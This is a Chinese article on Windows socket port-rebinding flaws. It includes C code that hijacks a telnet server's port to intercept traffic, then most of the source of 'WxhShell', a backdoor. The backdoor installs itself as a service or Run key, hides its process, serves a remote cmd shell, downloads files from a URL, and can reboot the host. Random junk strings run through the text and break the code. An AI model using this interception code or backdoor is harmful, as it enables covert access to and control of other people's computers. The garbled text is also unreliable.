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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iQ8T3cC+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vo!QJ 9 .3?$( saddr.sin_family = AF_INET; 6Q~(ibKx KGP *G
BZr saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?Hrj}K27 m+ =L}[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =>Q$S h{/lW#[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mFx\[S R\Of , 这意味着什么?意味着可以进行如下的攻击: r-'CB Y$<p_X, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QnH;+k
ln 0wpGIT!2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mXK7y.9\ iu.$P-s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =jD9oMs E/{v6S{)Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4OTrMT$y D0*+7n3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4sM9~zC5 SpA-E/el 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *OU&`\bmE xDO1gnH% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w%uM=YmuT m2>$)\-; #include kj]m@mS[ #include du>d ? #include 2"pFAQBw~i #include tBtmqxx DWORD WINAPI ClientThread(LPVOID lpParam); #V U>Z|$@N int main() 3,dIW*<** {
PE&$2( WORD wVersionRequested; _BPp=(| DWORD ret; ,wB)hp WSADATA wsaData; L
4Sa,ZL BOOL val; [+(fN SOCKADDR_IN saddr; c1}i|7/XSi SOCKADDR_IN scaddr; ~aL&,0 int err; \o<&s{6L SOCKET s; ?O.'_YS SOCKET sc; 01">$ int caddsize; Gr|IM,5P4 HANDLE mt; 30<3DA_P DWORD tid; !D~\uW1b wVersionRequested = MAKEWORD( 2, 2 ); /"
6Gh' err = WSAStartup( wVersionRequested, &wsaData ); Nf1&UgX if ( err != 0 ) { C%q]o printf("error!WSAStartup failed!\n"); 4O>0gK{w return -1; Z,:}H6Mj9 } yo]8QO]97 saddr.sin_family = AF_INET; P:k!dRb9{ -oB`v' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wak`Jte=}m q?=_{oH9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E-L>.tD saddr.sin_port = htons(23); KF}_|~~T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?,oE_H { Y=(%t:#_ printf("error!socket failed!\n"); (5efNugc return -1; (AswV7aGe } ZeE(gtM val = TRUE; b.mWB`59 //SO_REUSEADDR选项就是可以实现端口重绑定的 !I+F8p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Np>0c-S { k!ac_}&NNv printf("error!setsockopt failed!\n"); JVq`v#8 return -1; XEb+Z7L 1 } t6! B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6T-iBJT //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QB6.
o6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6(-c$d`C.0 %Zi}sm1t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3&5AbIZ { [9,34/i ret=GetLastError(); KD73Aw printf("error!bind failed!\n"); N51WY7 return -1; YE[{Y(5;q } |v@ zyOq&b listen(s,2); uE^5o\To while(1) jFGY`9Zw0 { ^y2}C$1V caddsize = sizeof(scaddr); _GsHT\ //接受连接请求 tW=oAy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KDu~,P] if(sc!=INVALID_SOCKET) *#; { F:'>zB]-} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R:Tv'I1-L if(mt==NULL) ~'t+X { c'uDK> printf("Thread Creat Failed!\n"); R7ExMJw break; ]:Sb#=,!&! } g]m}@b6(h } 3Nk
) CloseHandle(mt); ?7Skk } ?Suv.!wfLl closesocket(s); 9}#9i^%} WSACleanup(); tN-B`d1 return 0; 7-2,|(Xg } &U{"dJ r DWORD WINAPI ClientThread(LPVOID lpParam) 'aJm4W&j { wY_! s Qo SOCKET ss = (SOCKET)lpParam; }080=E SOCKET sc; *(j-jbA unsigned char buf[4096]; "J*LR SOCKADDR_IN saddr; 7YQ689"J6B long num; 8rM1kOCf DWORD val; @h)X3X DWORD ret; j\TS:F^z //如果是隐藏端口应用的话,可以在此处加一些判断 Xf*}V+&WN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *@[N~:z/ saddr.sin_family = AF_INET; p0@l581 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {^6<Ohe4j saddr.sin_port = htons(23); _v +At;Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a.B<W9$` { {z*`*
O@ printf("error!socket failed!\n"); 8Lh[>|~= return -1; FXo{|z3 } *>J45U(6: val = 100; g <5G# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %nT & { YA*E93 J0 ret = GetLastError(); G:Cgq\+R return -1;
!AFii:# } XDAwE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MB3
N3,yL { C.Re*;EI, ret = GetLastError(); AS]jJc^ return -1; D}L4uz? } \!!1o+#1j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
0;:AT|U/d { pb}4{]sI printf("error!socket connect failed!\n"); &1M#;rE;D# closesocket(sc); k{ibD5B closesocket(ss); q-4#)EnW return -1; T8\%+3e. } #PZBh while(1) kYU!6t1 { TTm //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D0@d}N //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]R6Z(^XT,E //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vH/Y]Am num = recv(ss,buf,4096,0); O*-sSf if(num>0) ^=Egf?|[ send(sc,buf,num,0); :IX_}| else if(num==0) u,),kj< break; k=JT% num = recv(sc,buf,4096,0); 6uubkt if(num>0) gfmaO] send(ss,buf,num,0); b@yFqgJ_ else if(num==0) {pM3f break; o>oZh1/\T, } .aE%z/@s= closesocket(ss); 2~q(?wY closesocket(sc); R4Si{J*O return 0 ; i*ji } Ll'!aar, \'Ewn8Qv8 WDQw)EUl& ========================================================== iBPx97a dxF/]>t 下边附上一个代码,,WXhSHELL 77o&$l,A| `%Uz0h F ========================================================== fqS
cf}s V'XvwO@ #include "stdafx.h" z{dn 3:G94cp5 #include <stdio.h> kU$M 8J. #include <string.h> aIABx!83> #include <windows.h> NZ?| #53 #include <winsock2.h> TM1J1GU #include <winsvc.h> N6*v!M+ #include <urlmon.h> U&<w{cuA }doJ=lc #pragma comment (lib, "Ws2_32.lib") =OU]<% #pragma comment (lib, "urlmon.lib") XqK\'8]\Mw /e4#DH #define MAX_USER 100 // 最大客户端连接数 &4-rDR, #define BUF_SOCK 200 // sock buffer ?UV^6 #define KEY_BUFF 255 // 输入 buffer J t,7S4JL rCFTch" #define REBOOT 0 // 重启 }c-tvK1g #define SHUTDOWN 1 // 关机 ?L~Z]+- ,Jh('r7 #define DEF_PORT 5000 // 监听端口 HRZ3}8Qj O.~@V(7ah #define REG_LEN 16 // 注册表键长度 d*TpHLm #define SVC_LEN 80 // NT服务名长度 SK_i 3? NK0hT,_ // 从dll定义API bLpGrGJs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?{M!syD< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HOY9{>E}z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /"%QIy'{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #3o]Qo[Sc j2"Y{6c // wxhshell配置信息 B)`^/^7 struct WSCFG { :i_kA'dl& int ws_port; // 监听端口 mQ]wLPP{1 char ws_passstr[REG_LEN]; // 口令 L?(%
* int ws_autoins; // 安装标记, 1=yes 0=no k1
char ws_regname[REG_LEN]; // 注册表键名 IfGQeynj char ws_svcname[REG_LEN]; // 服务名 J((.zLvz char ws_svcdisp[SVC_LEN]; // 服务显示名 8{Id+Q>Vo, char ws_svcdesc[SVC_LEN]; // 服务描述信息 >J[Wd<~t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B[rxV int ws_downexe; // 下载执行标记, 1=yes 0=no m+/-SG char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" (G:K?o) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8FY/57.W l
TJqWSV=f }; %<Q?|} hf1f // default Wxhshell configuration n\Y|0\ B struct WSCFG wscfg={DEF_PORT, %7oB[2 "xuhuanlingzhe", C4ut!I # 1, y~N,=5>j "Wxhshell", uKZe"wN; "Wxhshell", (W l5F
"WxhShell Service", ,lly=OhKb "Wrsky Windows CmdShell Service", %wp#vO-$ "Please Input Your Password: ", #815h,nP+ 1, @|^2 +K/ " http://www.wrsky.com/wxhshell.exe", \Ow-o0 "Wxhshell.exe" _,M:"3;Z }; #j{!&4M H.ZmLB // 消息定义模块 ,~_)Cf#CB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F+@E6I'g char *msg_ws_prompt="\n\r? for help\n\r#>"; G;%Pf9o26 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 6T_Mk0Sf+ char *msg_ws_ext="\n\rExit."; buhn~ c char *msg_ws_end="\n\rQuit."; F"-w char *msg_ws_boot="\n\rReboot..."; $LF char *msg_ws_poff="\n\rShutdown...";
Bjz\L0d char *msg_ws_down="\n\rSave to "; K"sfN~@rT[ KR6*)?c` char *msg_ws_err="\n\rErr!"; NgnHo\) char *msg_ws_ok="\n\rOK!"; <E|K<}W# bTn7$EG char ExeFile[MAX_PATH]; L:y}
L int nUser = 0; _r}oYs%1 HANDLE handles[MAX_USER]; )oSUhU26} int OsIsNt; 3 9Ql|l$ t?0D* !D SERVICE_STATUS serviceStatus; rwlV\BU SERVICE_STATUS_HANDLE hServiceStatusHandle; AVR9G^ce_ Odr@9MJ // 函数声明 y/m^G=Q6g# int Install(void); |Aw(v6 int Uninstall(void); ,Jf)A/_ int DownloadFile(char *sURL, SOCKET wsh); o2 5kFD int Boot(int flag); x hFQjV?V void HideProc(void); *My? l75 int GetOsVer(void); u|=G#y;3 int Wxhshell(SOCKET wsl); eYurg6Ob~ void TalkWithClient(void *cs); In0kP" int CmdShell(SOCKET sock); S< <xlW int StartFromService(void); rSD!u0c[ int StartWxhshell(LPSTR lpCmdLine); |Mp_qg?g j:0VtJo~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =>hq0F4[; VOID WINAPI NTServiceHandler( DWORD fdwControl ); WG;1[o& ?'K}bmdt}. // 数据结构和表定义 ^ZFbp@#U SERVICE_TABLE_ENTRY DispatchTable[] = ~4wbIE_rN { ;C%D+"l1g {wscfg.ws_svcname, NTServiceMain}, hgE!)UE {NULL, NULL} 1WPDMLuN }; }`$:3mb&f <v"C`cga // 自我安装 Wx&AY"J
int Install(void) p1HU2APFP { j$#pG char svExeFile[MAX_PATH]; 'f<0&Ci8 HKEY key; 8 F'i5i strcpy(svExeFile,ExeFile); k3[
~I' "RH2% // 如果是win9x系统,修改注册表设为自启动 _VR Sdr5 if(!OsIsNt) { !GMb~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -pj&|<
h+9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2F3IC RegCloseKey(key); Mz<4P3"H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mj<(qZh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {W}.z RegCloseKey(key); %#NaM\=8v return 0; 7g5sJj } +V&b<y;?> } +|Q8P?YD_ } /40Z-'Bl=( else { W;,.OoDc> A0M)*9 f // 如果是NT以上系统,安装为系统服务 xkOyj`IS
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o:#MP(h,N if (schSCManager!=0) /MSz{ %v { {t[j>_MYw SC_HANDLE schService = CreateService ?N#mD ( @4h .? schSCManager, ]}F_nc2L wscfg.ws_svcname, Tn/
3`j
{ wscfg.ws_svcdisp, K3?7Hndf2 SERVICE_ALL_ACCESS, ReP7c3D>p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qg?^%O' SERVICE_AUTO_START, 3bpbk SERVICE_ERROR_NORMAL, )KR9al f3 svExeFile, !5 %c`4 NULL, PBr-<J NULL, kAf:_0?6 NULL, PP&AF?C NULL, Y{@ez
NULL &^1DNpUZ ); _C"W;n' if (schService!=0) IZ3w.:A { ^MUtmzh CloseServiceHandle(schService); ]BCH9%zLj CloseServiceHandle(schSCManager); gOO\` # strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .0#?u1gXsX strcat(svExeFile,wscfg.ws_svcname); b}o^ ?NtA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6+FmYp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mN_RB{g{ RegCloseKey(key); 1I KDp]SN return 0; A;w,m{9< } 'HkV_d[li } X'ryfa1| CloseServiceHandle(schSCManager); c^UG}:Y } BG~h9.c } 9<P1?Q !3 $Ph return 1; vgHMVzxj } +WK!}xZR NXDdU^w7B // 自我卸载 J`uV $l: int Uninstall(void) (2QFwBW] { Oh~JyrZy HKEY key; bKmR
&
v%=G~kF}[ if(!OsIsNt) { 6\g]Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zfO0+fMH RegDeleteValue(key,wscfg.ws_regname); hI;tB6 RegCloseKey(key); {?l#*XH; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `*8p T RegDeleteValue(key,wscfg.ws_regname); 4&r^mGs, RegCloseKey(key); o{?s\)aBa return 0; 1>4'YMdZi } S!2M?}LU } G*mk 19Z } {Aj}s3v else { d;9 X1`" ?W9$= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i=.zkIjSh if (schSCManager!=0) Cz+>S3v M { 7:R8QS9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8"LvkN/v^ if (schService!=0) :u` { \$V~kgQ0 if(DeleteService(schService)!=0) { YT}m
8Y CloseServiceHandle(schService); -j`tBv) CloseServiceHandle(schSCManager); 5"c#OU return 0; :U0z; } eFp4MD8? CloseServiceHandle(schService); B~V^?." } 41^+T<+ CloseServiceHandle(schSCManager); 7<mY{!2iF? } h:<pEL } !BP/# "D2`=D!+ return 1; ,*Tf9=z } .4Jea#M&x `Ou\:Iz0u // 从指定url下载文件 zdzTJiY2[Z int DownloadFile(char *sURL, SOCKET wsh) 4H]Go~< { Im+<oZ HRESULT hr; TPt<(-}W char seps[]= "/"; /^G1wz2 char *token; 6OF&Q`*4 char *file; ib0M$Y1tIS char myURL[MAX_PATH]; -{>JF char myFILE[MAX_PATH]; u=5&e)v3 <6)Ogv", strcpy(myURL,sURL); F>%~<or token=strtok(myURL,seps); * h!gjbi while(token!=NULL) {PnvQ?|Z { Z[RE|l{ file=token; xJa token=strtok(NULL,seps); 0g,;Yzm } cclx$)X1X d0"Hu^] GetCurrentDirectory(MAX_PATH,myFILE); %]h5\%@w strcat(myFILE, "\\"); !<Ma9%uC{ strcat(myFILE, file); 2)Grl;T]s send(wsh,myFILE,strlen(myFILE),0); uwXquOw send(wsh,"...",3,0); U
]`SM6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eqb8W5h' if(hr==S_OK) 3J32W@}.K return 0; Ya<S/9c else G<# 9` return 1; }Ry:}) @Z&El:]3> } 7;jwKA;k Kp'_lKW)]q // 系统电源模块 lRF04 int Boot(int flag) ]wMd!.lm- { -hiG8%l5 HANDLE hToken; SpU+y|\[0 TOKEN_PRIVILEGES tkp; Wl/oun~o ?{NP3
if(OsIsNt) { "-88bF~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I} m\(TS-" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z,^`R] 9 tkp.PrivilegeCount = 1; eY)ugq>' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pwtB{6)VH{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !}<d6&!py if(flag==REBOOT) { o|YY,G=C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (/UW}$] h return 0; Hm!ffqO_ } :hr% 6K7 else { dlmF?N|EC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) % 4|* return 0; gHpA@jdC* } 0}C> e`<' } [nZf4KN else {
S<#>g
s4 if(flag==REBOOT) { {4J:t_<nKO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zP$0B!9 return 0; IL;JdIa } kU{+@MA; else { j*+[=X/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tw*:Vw return 0; I(tMw6C$: } OJ^kESrm8 } K4~z@.
G6* d7waBsf return 1; &*}`uJt } ?~X*\ Y"6
' // win9x进程隐藏模块 }K':tX? void HideProc(void) VPW@y { GOrDDp tj$&89 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -< D7 if ( hKernel != NULL ) yw2Mr+9I { go >*n\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b* k= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N3dS%F,_ FreeLibrary(hKernel); TgMa!Vz } g@0<`g HY-7{irR~ return; $cjwY$6 } H@ Yj @`R#t3)8JP // 获取操作系统版本 [rk*4b ^s int GetOsVer(void) a,mG5bQ! {
r& OSVERSIONINFO winfo; .TZ0FxW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qaJ$0,]H+ GetVersionEx(&winfo); O&BNhuW2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) " kp+1sG8 return 1; }
DQ<YF+ else ?+Gc.lU return 0; 1<|\df. } -KV)1kET sNB*S{ // 客户端句柄模块 (5CdA1| int Wxhshell(SOCKET wsl) :kU#5Aj gK { K/WnK:LU SOCKET wsh; X 4L"M%i struct sockaddr_in client; K^32nQX DWORD myID; 5i71@?q; <"/b 5kc while(nUser<MAX_USER) N;Hoi8W { >A&D/kMO int nSize=sizeof(client); (<GBhNj=c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S
$j"'K if(wsh==INVALID_SOCKET) return 1; 0\tV@ 6p2= %!P^se handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D+4oV6}~ if(handles[nUser]==0) Yr!@p Hy closesocket(wsh); )R
%>g-dw else B
]*v{?<W nUser++; T{WJf-pI } ZkWX4?&OMt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WAq)1gwN !s^[|2D_U return 0; &<nj~BL } PFR64HK2 OVq(ulwi+ // 关闭 socket 2/o_,k void CloseIt(SOCKET wsh) ^*?mb) { QC\r|RXW closesocket(wsh); #su R[K*S nUser--; Z$*m=]2 ExitThread(0); ,8.Fd|#L } .)(5F45Wg (1%O;D.*?{ // 客户端请求句柄 N>V\ void TalkWithClient(void *cs) ,zF^^,lO7 { ?uAq goCl A4K8DP SOCKET wsh=(SOCKET)cs; y26?>.! char pwd[SVC_LEN]; gn-@OmIs char cmd[KEY_BUFF]; 0*J},#ba$ char chr[1]; 1&Z#$iD int i,j; ] 6Y6q])Z x)+ q$FB while (nUser < MAX_USER) { " fXs! y':JUwUN if(wscfg.ws_passstr) { E+Eug{+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WRCf[5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a~*wZJ //ZeroMemory(pwd,KEY_BUFF); F ?N+ __o i=0; _a]0<Vm C0 while(i<SVC_LEN) { evSr?ys } "QL"% // 设置超时 Wf!u?nH.5 fd_set FdRead; /Fj*sS8 struct timeval TimeOut; 8*x/NaH
/\ FD_ZERO(&FdRead); \Gl>$5np FD_SET(wsh,&FdRead); `8 Ann~Z|k TimeOut.tv_sec=8; PAD&sTjE* TimeOut.tv_usec=0; jjT)3
c:J[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qs$w9I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5M v<8P~ QZwZ4$jkiO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tkIpeL[d pwd =chr[0]; +b
sc3 if(chr[0]==0xd || chr[0]==0xa) { '"m-kor pwd=0; 2#81oz&K break; Zdfruzl&` } ]Uj7f4)k i++; b3 NEYn } >PS`;S!( 0n/+X[%Ti // 如果是非法用户,关闭 socket ;$Pjl8\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d~abWBgC` } \x=j Bo+Yu(|cL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vqhu%ZyP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _uL8TC^ @
JfQ}` while(1) { 'O^<i`8U] *";O_ :C! ZeroMemory(cmd,KEY_BUFF); k0bDEz.X 1v~1?+a\2 // 自动支持客户端 telnet标准 dy.U; j=0; U[O7}Nsb" while(j<KEY_BUFF) { o_C]O" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (z.4er}o cmd[j]=chr[0]; eWGaGRem if(chr[0]==0xa || chr[0]==0xd) { ET0^_yk cmd[j]=0; AfT;IG%Gt break; ) :VF^" } Y52TC@' j++; 5~FXy{ZIH } /B!Ik:c} ?s5/ // 下载文件 .+A2\F.^ if(strstr(cmd,"http://")) { o?|
]ciY send(wsh,msg_ws_down,strlen(msg_ws_down),0); GL-Pir if(DownloadFile(cmd,wsh)) nN%Zed2O@6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pi5($cn else SG@E*yT1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v*JXrB&x } 8&wN9tPYZ else { BHf7\+Ul h $)4%Fy switch(cmd[0]) { -uei nd] P,<pG[^K // 帮助 *"d['V3 case '?': { x/L(0z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Yn5a4 break; ;;
?OS } %~I%*=o[ // 安装 2l}H=DZV case 'i': { 8
3Tv-X if(Install()) r7+Ytr send(wsh,msg_ws_err,strlen(msg_ws_err),0); G%MdZg&i else Z8I0v$LjR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =rN_8& break; 9Pql\]9"o } 3H`r|R // 卸载 gxc8O).5vY case 'r': { "ph[)/u; if(Uninstall()) )v+\1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UT%?3}*u" else IFbN ]N0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @MxB
d,P break; &PUn,9 Rm } M*Ri1 // 显示 wxhshell 所在路径 wBz5_ OFVw case 'p': { FO:k
>F char svExeFile[MAX_PATH]; | Zj=E$ strcpy(svExeFile,"\n\r"); s x2\ strcat(svExeFile,ExeFile); +[":W?j send(wsh,svExeFile,strlen(svExeFile),0); 7|DPevrk break; [5-3PuT&9 } !bBx' // 重启 mvu$ case 'b': { y4%[^g~- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,56objaE if(Boot(REBOOT)) `Y,<[ Lnr send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6&KcO:}- else { ^WUG\@B closesocket(wsh); e"cvo(}g ExitThread(0); '_l5Br73= } d`3>@*NR< break; r*g<A2g% } A>C8whx // 关机 ,&LGAa case 'd': { O4oI&i 7 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nEgYypwr if(Boot(SHUTDOWN)) 4Un%p7Y~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;3&HZq6Z ( else { Gj&`+!\ closesocket(wsh); FvVM}l' ExitThread(0); 5@^['S4%8* } _n+
5{\z break; %b>Ee>rdD } ]SL0Mn g8 // 获取shell ys9'1+9 case 's': { n{=N f|= CmdShell(wsh); >{eGSSG0 closesocket(wsh); <xh";seL ExitThread(0); 78kT}kgW break; >dfk2.6e } #;hYJ Y // 退出 V5rW_X:]8 case 'x': { &5n0J send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _)MbvF CloseIt(wsh); vt(cC)) break; EttQ<z_T } eT@,QA(3 // 离开 k? !'OHmBL case 'q': { s!?T$@a= send(wsh,msg_ws_end,strlen(msg_ws_end),0); lr9s`>9 closesocket(wsh); v4VP7h6uD) WSACleanup(); z K6'wL!!I exit(1); }TG=ZVi break; =j~Xrytn } sEx`9_oZ } <nJ8%aY, } ]]50c '7UIzk| // 提示信息 XX'mM v if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oT*qMLdn } [Mp8" } c}mWAZ=wF 1Wb_>`; return; h[oI/X } VH6J
@m jbTsrj"g // shell模块句柄 OFn#C! int CmdShell(SOCKET sock) Bn5$TiTcl { J'@`+veE STARTUPINFO si; ,rWej;CzN ZeroMemory(&si,sizeof(si)); 4_d'Uh&] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6.k>J{GG si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lH"4"r PROCESS_INFORMATION ProcessInfo; +t*Ks_V,* char cmdline[]="cmd"; 1(jDBP!8 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c63yJqiW return 0; !1xX)XD4y } M5c~-}Ay UJk/Lxv // 自身启动模式 2-_d~~O1N int StartFromService(void) 4+q3
Kw { ,7ZV;f81 typedef struct 6HRr4NDcj { ,L$,d DWORD ExitStatus; o|nN0z)b4 DWORD PebBaseAddress; 9_lWB6 DWORD AffinityMask; QN^AihsPi DWORD BasePriority; x?RYt4 S ULONG UniqueProcessId; O9R[F ULONG InheritedFromUniqueProcessId; X*e<g= } PROCESS_BASIC_INFORMATION; ;0-Y), e<r}{=1w PROCNTQSIP NtQueryInformationProcess; T[eb< !EB[Lutm static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #9(L/)^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ev9ltl{ @<C<rB8R HANDLE hProcess; p
